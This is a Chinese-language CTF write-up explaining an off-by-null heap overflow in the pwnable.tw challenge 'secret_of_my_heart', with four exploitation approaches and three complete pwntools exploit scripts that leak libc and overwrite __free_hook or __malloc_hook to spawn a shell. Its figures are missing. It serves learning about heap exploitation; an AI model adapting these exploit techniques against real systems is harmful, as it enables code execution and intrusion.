off by null漏洞getshell示例

 

前言

最近仔细研究了off by null漏洞,对off by null的漏洞利用有了一定的认识。希望大家能从我这篇文章中学到点东西,这是我的荣幸,也希望各位大佬指正。

对off by null漏洞的思考来自于pwnable.tw中的secret_of_my_heart一题,这是一个非常典型并且简单的off by null的题目,所以这里就用这道题举例子。

 

首先介绍一下这道题

检查

该程序一共有三个功能

分别是add、delete和show功能。

程序刚开始使用mmap函数申请了一块内存:

这里的mmap出的内存里面主要作用是用来存放一个个secret结构体

sercet的结构体如下:

下面看一下add函数

漏洞点在add函数中的input_str函数中

红框中的代码有泄露漏洞,可以泄露堆的地址

而蓝框中的代码则是在输入的最后加上字节”\x00″,这样就造成了offbynull漏洞。

看一下show函数的内容:

再看一下delete函数中的内容:

我大概总结了一下这道题的思路:

1、可以通过unsortedbin attack写入到free_hook上方,然后利用fastbin attack写入system的地址,从而拿到shell;

2、可以通过fastbin attack修改malloc_hook为one_gadget,然后利用malloc_printerr触发malloc;

3、可以通过fastbin attack修改_IO_FILE文件结构体的vtable中的函数地址为one_gadget来拿到shell;

4、可以通过fastbin attack修改top chunk指针来劫持top chunk,拿到shell;

介绍一下这道题思路的具体实现

 

首先第一种思路的实现

这是exp中的各个函数

首先先去申请5个chunk和泄露堆的地址,大小分别有0x68和0xF8的

然后进行chunk overlap

这里的大概思路是,通过3号chunk去溢出4号chunk的prevsize和size,使得当释放4号chunk时,去合并0-3号chunk。这里为了绕过unlink中出现的crash,我们需要先将0号chunk给free掉。 ![](YinXiangBiJi.enexfiles/chunkoverlap.png)

这里需要说一下,p64(0x0)+p64(0x71)+p64(attack_heap)+p64(0x00)是为后面unsortedbin attack做准备,所以可以暂时忽略,后面的p64(0x100+0x100+0x70+0x70)是伪造的prev_size,这样去free掉4号chunk就可以将0-4号chunk合并并放入unsortedbin中。

特别说明一下,attack_heap的地址为0x562b0fa382c0。

可以看到,这里已经实现了我们的目的。

然后进行libc地址泄露

我们已经将0-4号合并的chunk放到了unsortedbin中,但1号chunk实际上并没有被我们free过,所以我们把在unsortedbin中的0号chunk申请掉,malloc就会切割chunk,并将unsortedbin的地址放到1号chunk里面,这时候我们去show1号chunk就可以得到unsortedbin地址了。

我们已经将libc地址泄露了,接下来我们该如何利用这些chunk拿到shell呢?

首先,我们先去free掉2号chunk,使得2号chunk放入fastbin中,那么现在堆的布局是怎样的呢?我们来看一下。

这样我们就可以通过去unsortedbin中取得内存,来控制0x562b0fa38200中的内容了。

首先new一个0xE8大小的内存。

然后通过new一块0x70+0x70大小的chunk,控制0x562b0fa38200中的prev_size为0,size为0x71,fd为attack_heap,也就是0x562b0fa382c0。

看一下0x562b0fa382c0中的情况

为什么0x562b0fa382c0中为什么回事这样呢,还记得前面吗?

这里我们对0x562b0fa382c0写入了p64(0x0)+p64(0x71)+p64(attack_heap)。

这样,fastbin中就有了三个chunk,分别是0x562b0fa38200,0x562b0fa382c0,0x562b0fa382c0。

接下来我们将0x562b0fa38200申请出来,然后通过申请0x562b0fa382c0这个chunk改变第二个0x562b0fa382c0的fd和unsortedbin中的chunk的bk。从而进行fastbin attack和unsortedbin attack。

这样就可以拿到shell了。

exp.py如下:

from pwn import *

#context.log_level = "debug"

local = True

if local:

p = process("./secret\_of\_my_heart")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

bin_offset = 0x3C4B20 + 0x58

else:

p = remote("chall.pwnable.tw","10302")

libc = ELF("./libc_64.so.6")

bin_offset = 0x3C3B20 + 0x58

elf = ELF("./secret_of_my_heart")

def new(size,name,secret):

p.sendlineafter("choice :",str(1))

p.sendlineafter("Size of heart : ",str(size))

p.sendafter("Name of heart :",name)

p.sendafter("secret of my heart :",secret)

def show(index):

p.sendlineafter("choice :",str(2))

p.sendlineafter("Index :",str(index))

def free(index):

p.sendlineafter("choice :",str(3))

p.sendlineafter("Index :",str(index))

new(0xF8,"a"*0x20,"aaaa")#0 100

new(0xF8,"b"*0x20,"bbbb")#1 100

show(1)

p.recvuntil("b"*0x20)

heap_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))

success("heap_address ===> " + hex(heap_addr))

new(0x68,"c"*0x20,"cccc")#2 70

new(0x68,"d"*0x20,"dddd")#3 70

new(0xF8,"d"*0x20,"dddd")#4 100

new(0xF8,"padding\n","padding\n")#5

free(0)

free(3)

offset = 0x55a9d344a2c0 - 0x55a9d344a110

attack_heap = heap_addr + offset

new(0x68,"d"*0x20,"d"*0x40 + p64(0x0) + p64(0x71) + p64(attack_heap) + p64(0x00) + p64(0x100+0x100+0x70+0x70)) #0

free(4)

new(0xF8,"a"*0x20,"aaaa")#3

show(1)

p.recvuntil("Secret : ")

bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))

libc.address = bin_addr - bin_offset

free_hook = libc.symbols['__free_hook']

success("libc_address ===> " + hex(libc.address))

success("system_address ===> " + hex(libc.symbols['system']))

success("__free_hook ===> " + hex(free_hook))

free(2)

log.info("attack_heap_address ===> " + hex(attack_heap))

new(0xE8,"test","test") #2

new((0x70+0x70),"attack",p64(0x00)+p64(0x71)+p64(attack_heap)) #4

new(0x68,"test","/bin/sh\x00") #6

new(0x68,"attack",p64(free_hook-0x43) + "\x00" * 0x10 + p64(0x101)+p64(0xdeadbeef)+p64(free_hook-0x50))

new(0xF8,"attack","attack")

#unsorted bin attack

payload = "\x00" * 0x33 + p64(libc.symbols['system'])

new(0x68,"attack","attack")

new(0x68,"attack",payload)

free(6)

p.interactive()

 

第一种思路实际上是我当时做这个题的时候瞎想的,因为one_gadget修改成__malloc_hook并不能生效,所以没办法只能去修改__free_hook,这种方法非常麻烦且低效。后来拿到flag之后去看大佬们的博客,发现我真的是弱爆了。

第二种思路和第三种思路实际上是针对one_gadget修改成__malloc_hook触发不成功而产生的。

这里只实现第二种,因为第二种思路和第三种思路差不多,只是one_gadget写入的地方不一样。而且我觉得第二种应该是最容易实现的思路了。

 

第二种思路

首先,老办法泄露Libc的地址:

和第一个思路的泄露方法一样的,只是这边new的5个chunk的大小有点不一样而已。

接下来进行fastbin dup:

开始进行攻击并且free掉6号chunk触发malloc_printerr。

最后拿到shell

exp.py如下:

from pwn import *

#context.log_level = "debug"

local = False

if local:

p = process("./secret\_of\_my_heart")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

bin_offset = 0x3C4B20 + 0x58

one_gadget = 0xf02a4

else:

p = remote("chall.pwnable.tw","10302")

libc = ELF("./libc_64.so.6")

bin_offset = 0x3C3B20 + 0x58

one_gadget = 0xef6c4

elf = ELF("./secret_of_my_heart")

def new(size,name,secret):

p.sendlineafter("choice :",str(1))

p.sendlineafter("Size of heart : ",str(size))

p.sendafter("Name of heart :",name)

p.sendafter("secret of my heart :",secret)

def show(index):

p.sendlineafter("choice :",str(2))

p.sendlineafter("Index :",str(index))

def free(index):

p.sendlineafter("choice :",str(3))

p.sendlineafter("Index :",str(index))

new(0xF8,"a"*0x20,"aaaa") #0

new(0x68,"b"*0x20,"bbbb") #1

new(0xF8,"c"*0x20,"cccc") #2

new(0xF8,"d"*0x20,"dddd") #3

new(0xF8,"e"*0x20,"eeee") #4

free(2)

free(0)

new(0xF8,"c"*0x20,"c"*0xF0 + p64(0x100*2+0x70)) #0

free(3)

new(0xF8,"a"*0x20,"aaaa") #2

show(1)

p.recvuntil("Secret : ")

bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))

libc.address = bin_addr - bin_offset

malloc_hook = libc.symbols['__malloc_hook']

one_gadget = libc.address + one_gadget

success("libc_address ===> " + hex(libc.address))

success("__malloc_hook ===> " + hex(malloc_hook))

success("shell_address ===> " + hex(one_gadget))

new(0x68,"b"*0x20,"bbbb") #3

new(0x68,"c"*0x20,"cccc") #5

#fastbin dup

free(1)

free(5)

free(3)

new(0x68,"d"*0x20,p64(malloc_hook-0x23)) #6

new(0x68,"e"*0x20,"eeee") #7

new(0x68,"f"*0x20,"ffff") #8

payload = "\x00"*0x13 + p64(one_gadget)

new(0x68,"fastbin attack",payload)

#getshell

free(6)

p.interactive()

 

接下来介绍第四种思路的实现,因为思路挺好的,所以就算实现麻烦点,也是无所谓。

 

第四种思路

具体思路如下:

首先,我们知道,__malloc_hook和main_arena其实是相邻的,并且main_arena里面有一个指向top chunk的指针。这样的话我们可以先fastbin dup去申请到__malloc_hook-0x23这块内存,然后往main_arena里面写入0x70,再用fastbin attack得到main_arena,控制top chunk的指针指向__free_hook上方,然后再去不断申请内存直至申请到__free_hook。

__malloc_hook和main_arena的位置如下:

利用__malloc_hook-0x23的0x7f来使用fastbin dup控制红框中的内容,往红框里面写入0x70,再进行一次fastbin attack就可以控制指向top chunk的指针,这里0x55e274cc0470就是topchunk的地址。红框内是fastbin数组,可以利用这个进行二次fastbin attack。

来看一下我们伪造topchunk的size。

__free_hook地址-0xb58的位置,红框内可以作为我们伪造的top chunk的size。我们只需要将指向top chunk的指针指向__free_hook地址-0xb58的位置就可以了。

exp.py如下:

from pwn import *

#context.log_level = "debug"

local = False

if local:

p = process("./secret\_of\_my_heart")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

bin_offset = 0x3C4B20 + 0x58

one_gadget = 0xf02a4

else:

p = remote("chall.pwnable.tw","10302")

libc = ELF("./libc_64.so.6")

bin_offset = 0x3C3B20 + 0x58

one_gadget = 0xef6c4

elf = ELF("./secret_of_my_heart")

def new(size,name,secret):

p.sendlineafter("choice :",str(1))

p.sendlineafter("Size of heart : ",str(size))

p.sendafter("Name of heart :",name)

p.sendafter("secret of my heart :",secret)

def show(index):

p.sendlineafter("choice :",str(2))

p.sendlineafter("Index :",str(index))

def free(index):

p.sendlineafter("choice :",str(3))

p.sendlineafter("Index :",str(index))

new(0xF8,"a"*0x20,"aaaa") #0

new(0x68,"b"*0x20,"bbbb") #1

new(0xF8,"c"*0x20,"cccc") #2

new(0xF8,"d"*0x20,"dddd") #3

new(0xF8,"e"*0x20,"/bin/sh\x00") #4

free(2)

free(0)

new(0xF8,"c"*0x20,"c"*0xF0 + p64(0x100*2+0x70)) #0

free(3)

new(0xF8,"a"*0x20,"aaaa") #2

show(1)

p.recvuntil("Secret : ")

bin_addr = u64(p.recvline()[:-1].ljust(0x8,"\x00"))

libc.address = bin_addr - bin_offset

free_hook = libc.symbols['__free_hook']

malloc_hook = libc.symbols['__malloc_hook']

main_arena = bin_addr - 0x58

success("libc_address ===> " + hex(libc.address))

success("system_address ===> " + hex(libc.symbols['system']))

success("__free_hook ===> " + hex(free_hook))

new(0x68,"b"*0x20,"bbbb") #3

new(0x68,"c"*0x20,"cccc") #5

#fastbin dup

free(1)

free(5)

free(3)

new(0x68,"b"*0x20,p64(malloc_hook-0x23))

new(0x68,"c"*0x20,"cccc")

new(0x68,"d"*0x20,"dddd")

payload = "\x00" * 0x13

payload += "\x00" * 0x40

payload += p64(main_arena+48)

payload += p64(0x71)

new(0x68,"e"*0x20,payload)

new(0x68,"f"*0x20,p64(0x00)*3+p64(free_hook-0xb58))

new(0x100,"padding\n","padding")

new(0x100,"padding\n","padding")

new(0x100,"padding\n","padding")

new(0x100,"padding\n","padding")

for i in range(7):

new(0x100,"padding\\n","padding")

new(0x100,"padding\n","\x00"*0xa8+p64(libc.symbols['system']))

free(4)

p.interactive()

 

 

总结

实际上,off by null漏洞就是通过chunk overlap来实现UAF,所以这个东西本质上就是UAF。既然是UAF,所以拿到shell的思路或许还有不少。

附上参考链接:

http://tacxingxing.com/2018/02/20/pwnabletw-secretofmyheart/

https://veritas501.space/2018/03/04/pwnable.tw%2011~18%E9%A2%98%20writeup/

https://bbs.pediy.com/thread-230028.htm

(完)